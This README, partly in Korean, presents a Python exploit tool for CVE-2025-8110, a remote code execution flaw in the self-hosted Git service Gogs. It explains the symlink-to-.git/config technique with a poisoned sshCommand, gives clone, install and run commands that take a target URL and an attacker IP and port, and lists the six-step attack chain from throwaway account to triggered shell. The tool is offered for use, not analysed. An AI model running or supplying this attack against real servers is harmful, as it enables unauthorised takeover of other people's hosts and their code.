
GOGS RCE cve-2025-8110 python script that automates the whole attack chain of creating a repository with a symlink file pointing to .git/config and then triggering rce via a poisoned sshCommand on the config file.
Gogs는 GitHub의 개인 버전과 유사한 경량의 자체 호스팅 Git 서비스로, 저사양 서버에서도 쉽게 실행되도록 설계되었습니다. CVE-2025-8110 취약점은 공격자가 심볼릭 링크를 사용하여 경로 제한을 우회할 수 있게 하는 심각한 보안 결함입니다. .api/config를 가리키는 악의적인 링크를 업로드하면 공격자는 gogs API를 사용하여 sshCommand 매개변수가 포함된 악성 구성 파일을 삽입하고 호스트 서버에서 RCE를 달성할 수 있습니다.
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# Print help
python3 ./cve-2025-8110.py --help
# Execute the attack chain with register step
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# Execute the attack chain skipping register | useful when register func returns err statement
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
이 스크립트는 다음 단계를 포함하는 공격 체인을 따릅니다:
1. Register & authenticate a throwaway account (Register skipped if creds are provided with -U and -P flags)
2. Obtain an API bearer token
3. Create an auto-initialised repository
4. Clone the repo locally and push a relative symlink malicious_link -> .git/config
5. PUT the malicious git config (with sshCommand) through the symlink via the PutContents API
6. Trigger the sshCommand by cloning the repo over SSH
이 스크립트는 zAbuQasem (https://github.com/zAbuQasem) 의 PoC를 사용하여 제작되었습니다.